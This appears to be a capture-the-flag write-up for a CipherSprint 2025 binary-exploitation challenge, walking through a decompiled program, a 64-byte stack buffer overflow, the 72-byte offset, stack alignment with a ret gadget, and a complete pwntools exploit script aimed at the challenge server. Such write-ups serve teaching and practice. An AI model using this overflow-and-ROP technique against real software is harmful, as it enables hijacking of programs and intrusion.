CipherSprint 2025: PWN - Rex’s Roaring Write Up
1. Decompile the Binary
CipherSprint 2025: PWN - Rex’s Roaring Write Up

Challenge
1. Decompile the Binary
The challenge was kind of ROP (Return Orientated Programming. First of all I try to decompile the program using online decompilers. Where I can see the whole program at once. It look likes this:
/* This file was generated by the Hex-Rays decompiler version 9.2.0.250908.
Copyright (c) 2007-2021 Hex-Rays <info@hex-rays.com>
Detected compiler: GNU C++
*/
#include <defs.h>
//-------------------------------------------------------------------------
// Function declarations
__int64 (**init_proc())(void);
__int64 sub_401020();
__int64 sub_401030(); // weak
__int64 sub_401040(); // weak
__int64 sub_401050(); // weak
__int64 sub_401060(); // weak
__int64 sub_401070(); // weak
__int64 sub_401080(); // weak
__int64 sub_401090(); // weak
__int64 sub_4010A0(); // weak
__int64 sub_4010B0(); // weak
// int puts(const char *s);
// int fclose(FILE *stream);
// int printf(const char *format, ...);
// ssize_t read(int fd, void *buf, size_t nbytes);
// char *fgets(char *s, int n, FILE *stream);
// int fflush(FILE *stream);
// int setvbuf(FILE *stream, char *buf, int modes, size_t n);
// FILE *fopen(const char *filename, const char *modes);
// void __noreturn exit(int status);
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)());
void dl_relocate_static_pie();
FILE **deregister_tm_clones();
__int64 register_tm_clones();
FILE **_do_global_dtors_aux();
__int64 frame_dummy(); // weak
void gadget_pop_rdi();
void gadget_pop_rsi();
int print_banner();
int vulnerable_roar();
int call_system();
int secret_function();
int __fastcall main(int argc, const char **argv, const char **envp);
int read_flag();
void term_proc();
// int _libc_start_main(int (*main)(int, char **, char **), int argc, char **ubp_av, void (*init)(), void (*fini)(), void (*rtld_fini)(), void *stack_end);
// __int64 _gmon_start__(void); weak
//-------------------------------------------------------------------------
// Data declarations
const char s = '\xE2'; // idb
const char byte_402088 = '\xE2'; // idb
const char byte_4020B8 = '\xE2'; // idb
const char byte_4020E8 = '\xE2'; // idb
const char byte_4022AC = '\xF0'; // idb
const char byte_4022C4 = '\xF0'; // idb
__int64 (*qword_404010)(void) = NULL; // weak
FILE *stdout; // idb
FILE *stdin; // idb
char completed_0; // weak
//----- (0000000000401000) ----------------------------------------------------
// Alternative name is '_init'
__int64 (**init_proc())(void)
{
__int64 (**result)(void); // rax
result = &_gmon_start__;
if ( &_gmon_start__ )
return (__int64 (**)(void))_gmon_start__();
return result;
}
// 404138: using guessed type __int64 _gmon_start__(void);
//----- (0000000000401020) ----------------------------------------------------
__int64 sub_401020()
{
return qword_404010();
}
// 404010: using guessed type __int64 (*qword_404010)(void);
//----- (0000000000401030) ----------------------------------------------------
__int64 sub_401030()
{
return sub_401020();
}
// 401030: using guessed type __int64 sub_401030();
//----- (0000000000401040) ----------------------------------------------------
__int64 sub_401040()
{
return sub_401020();
}
// 401040: using guessed type __int64 sub_401040();
//----- (0000000000401050) ----------------------------------------------------
__int64 sub_401050()
{
return sub_401020();
}
// 401050: using guessed type __int64 sub_401050();
//----- (0000000000401060) ----------------------------------------------------
__int64 sub_401060()
{
return sub_401020();
}
// 401060: using guessed type __int64 sub_401060();
//----- (0000000000401070) ----------------------------------------------------
__int64 sub_401070()
{
return sub_401020();
}
// 401070: using guessed type __int64 sub_401070();
//----- (0000000000401080) ----------------------------------------------------
__int64 sub_401080()
{
return sub_401020();
}
// 401080: using guessed type __int64 sub_401080();
//----- (0000000000401090) ----------------------------------------------------
__int64 sub_401090()
{
return sub_401020();
}
// 401090: using guessed type __int64 sub_401090();
//----- (00000000004010A0) ----------------------------------------------------
__int64 sub_4010A0()
{
return sub_401020();
}
// 4010A0: using guessed type __int64 sub_4010A0();
//----- (00000000004010B0) ----------------------------------------------------
__int64 sub_4010B0()
{
return sub_401020();
}
// 4010B0: using guessed type __int64 sub_4010B0();
//----- (0000000000401150) ----------------------------------------------------
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)())
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
char *retaddr; // [rsp+0h] [rbp+0h] BYREF
v4 = v5;
v5 = v3;
_libc_start_main((int (*)(int, char **, char **))main, v4, &retaddr, 0, 0, a3, &v5);
__halt();
}
// 40115A: positive sp value 8 has been found
// 401161: variable 'v3' is possibly undefined
//----- (0000000000401180) ----------------------------------------------------
void dl_relocate_static_pie()
{
;
}
//----- (0000000000401190) ----------------------------------------------------
FILE **deregister_tm_clones()
{
return &stdout;
}
//----- (00000000004011C0) ----------------------------------------------------
__int64 register_tm_clones()
{
return 0;
}
//----- (0000000000401200) ----------------------------------------------------
FILE **_do_global_dtors_aux()
{
FILE **result; // rax
if ( !completed_0 )
{
result = deregister_tm_clones();
completed_0 = 1;
}
return result;
}
// 4040D8: using guessed type char completed_0;
//----- (0000000000401230) ----------------------------------------------------
__int64 frame_dummy()
{
return register_tm_clones();
}
// 401230: using guessed type __int64 frame_dummy();
//----- (0000000000401236) ----------------------------------------------------
void gadget_pop_rdi()
{
;
}
//----- (0000000000401243) ----------------------------------------------------
void gadget_pop_rsi()
{
;
}
//----- (0000000000401250) ----------------------------------------------------
int print_banner()
{
puts(&s);
puts(&byte_402088);
puts(&byte_4020B8);
return puts(&byte_4020E8);
}
//----- (0000000000401297) ----------------------------------------------------
int vulnerable_roar()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF
puts("Rex wants to practice his roar!");
printf("Help him roar (the louder the better): ");
fflush(stdout);
read(0, buf, 0x200u);
printf("\nRex attempts to roar: %s\n", buf);
return puts("But it comes out as: 'meep meep'... poor Rex.");
}
//----- (0000000000401318) ----------------------------------------------------
int call_system()
{
return puts("This function can call system() but needs the right setup!");
}
//----- (0000000000401332) ----------------------------------------------------
int secret_function()
{
return puts("You found the secret function!");
}
//----- (000000000040134C) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
print_banner();
vulnerable_roar();
puts("\nMaybe next time, Rex...");
return 0;
}
//----- (00000000004013BA) ----------------------------------------------------
int read_flag()
{
char s[72]; // [rsp+0h] [rbp-50h] BYREF
FILE *stream; // [rsp+48h] [rbp-8h]
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts("Flag file not found! Contact admin.");
exit(1);
}
fgets(s, 64, stream);
puts(&byte_4022AC);
printf(&byte_4022C4, s);
return fclose(stream);
}
//----- (0000000000401454) ----------------------------------------------------
// Alternative name is '_fini'
void term_proc()
{
;
}
// nfuncs=46 queued=26 decompiled=26 lumina nreq=0 worse=0 better=0
// ALL OK, 26 function(s) have been successfully decompiled
2. Analyze the Binary
By analyzing the decompiled C code, we immediately find the vulnerability in the vulnerable_roar function:
int vulnerable_roar()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF <-- 1. A buffer of 64 bytes is allocated.
puts("Rex wants to practice his roar!");
printf("Help him roar (the louder the better): ");
fflush(stdout);
read(0, buf, 0x200u); <-- 2. The program reads 0x200 (512) bytes.
...
}
This is a textbook stack buffer overflow. The read function is instructed to read 512 bytes of data directly into buf, a buffer that can only hold 64 bytes. This allows us to write far past the buffer's boundary, overwriting other data stored on the stack.
3. Identifying the Goal
Our goal isn’t to get a shell, but to call a “win” function that the developers kindly left in the binary. That function is read_flag:
int read_flag()
{
...
stream = fopen("flag.txt", "r"); // <-- Opens the flag
...
fgets(s, 64, stream);
...
printf(&byte_4022C4, s); // <-- Prints the flag
...
}
we know its static address from the decompiler: **0x4013BA**. Our entire objective is to hijack the program's control flow and force it to execute this function.
4. Building the Exploit (The ROP Chain)
To hijack the control flow, we must overwrite the return address that vulnerable_roar uses to return to main.
Step 4a: Finding the Offset
We need to know how many bytes of “junk” to send to fill the buffer and reach the return address. The 64-bit stack layout looks like this:
| ... high memory ... |
+---------------------+
| Return Address | <-- 8 bytes (This is what we want to overwrite)
+---------------------+
| Saved RBP | <-- 8 bytes (Base pointer from 'main')
+---------------------+
| char buf[64] | <-- 64 bytes (Our buffer starts here)
+---------------------+
| ... low memory ... |
To reach the return address, we must overwrite:
- The
buf(64 bytes) - The
Saved RBP(8 bytes)
Total Offset = 64 + 8 = 72 bytes. Our payload will start with 72 bytes of junk (e.g., b'A' * 72)
Step 4b: The 16-Byte Stack Alignment Problem (The “Gotcha”)
A simple exploit would be [72 bytes of junk] + [address of read_flag]. However, this will fail.
- The Problem: Modern C libraries (glibc) are highly optimized. Many functions, especially those in
stdio.h(likefopen,printfused byread_flag), use SSE instructions (e.g.,movaps) for high-speed data operations. These instructions require the stack pointer (RSP) to be 16-byte aligned. - The State of the Stack: When
vulnerable_roarexecutes itsretinstruction, itpops our forged return address into theRIP(Instruction Pointer). Thispopoperation moves the stack pointer by 8 bytes, leaving theRSPat an address that is not 16-byte aligned (it will end in...8). - The Crash: When our
read_flagfunction is called, it eventually callsfopenorprintf. These functions executemovapson the misaligned stack, causing the program to immediately segmentation fault.
Step 4c: The Solution (The ret Gadget)
We need to re-align the stack before read_flag is called. The fix is surprisingly simple: we add a "dummy" ret instruction to our ROP chain.
- Our New ROP Chain:
[72 bytes junk] + [addr_of_ret_gadget] + [addr_of_read_flag] - How it Works:
vulnerable_roarreturns. Itpops ouraddr_of_ret_gadgetintoRIP. The stack is now misaligned (ending in...8).- The CPU jumps to the
retgadget. Thisretinstruction does one thing:pop rip. - The CPU
pops the next value from the stack (ouraddr_of_read_flag) intoRIP. - This
popoperation advances theRSPby another 8 bytes. - The stack pointer, which was at
...8, is now at(...8) + 8 = (...0). It is now 16-byte aligned! - The CPU jumps to
read_flag. All its internal functions now work perfectly.
Step 4d: Finding the Gadget
We just need the address of any ret instruction. The decompiler shows a perfect one:
//----- (0000000000401454) ----------------------------------------------------
void term_proc()
{
;
}
This empty function at **0x401454** compiles to just a ret instruction, making it the perfect alignment gadget.
5. The Final Payload
We can now assemble the final payload:
- Padding:
b'A' * 72(to fill the buffer and RBP) **retGadget:**p64(0x401454)(to align the stack)- Target Function:
p64(0x4013BA)(the address ofread_flag)
Payload: (b'A' * 72) + p64(0x401454) + p64(0x4013BA)
6. Full Exploit Script (pwntools)
This Python script uses pwntools to send the payload and retrieve the flag.
#!/usr/bin/env python3
from pwn import *
p = remote('49.213.52.6', 9996)
# --- Payload ---
# 1. Padding to the return address
# 64 bytes for the buffer + 8 bytes for saved RBP
padding = b'A' * 72
# 2. ROP Gadgets
# We need a 'ret' gadget to align the stack (movaps issue)
# The 'term_proc' function at 0x401454 is a perfect 'ret'.
ret_gadget = p64(0x401454)
# Address of our target function
read_flag_addr = p64(0x4013BA)
# 3. Build the final payload
# The 'ret' gadget will be called first, fixing the stack alignment.
# Then, 'read_flag' will be called on an aligned stack.
payload = padding + ret_gadget + read_flag_addr
log.info("Payload constructed:")
log.info(f"Padding: {len(padding)} bytes")
log.info(f"RET Gadget: {hex(u64(ret_gadget))}")
log.info(f"read_flag: {hex(u64(read_flag_addr))}")
# --- Send Exploit ---
# Send the payload when prompted
p.sendlineafter(b'Help him roar (the louder the better): ', payload)
# Drop to an interactive shell to see the flag output
log.success("Payload sent! Enjoy the flag:")
p.interactive()
After running the script we can see the flag:

메타데이터
- post_id
- 97bf7b94ccfd
- slug
- ciphersprint-2025-pwn-rexs-roaring-write-up-97bf7b94ccfd
- url
- https://medium.com/@MrX2025/ciphersprint-2025-pwn-rexs-roaring-write-up-97bf7b94ccfd
- canonical_url
- https://medium.com/@MrX2025/ciphersprint-2025-pwn-rexs-roaring-write-up-97bf7b94ccfd
- author_url
- https://medium.com/@MrX2025
- status
- ok
- fetched_at
- 2026-06-13 07:35:29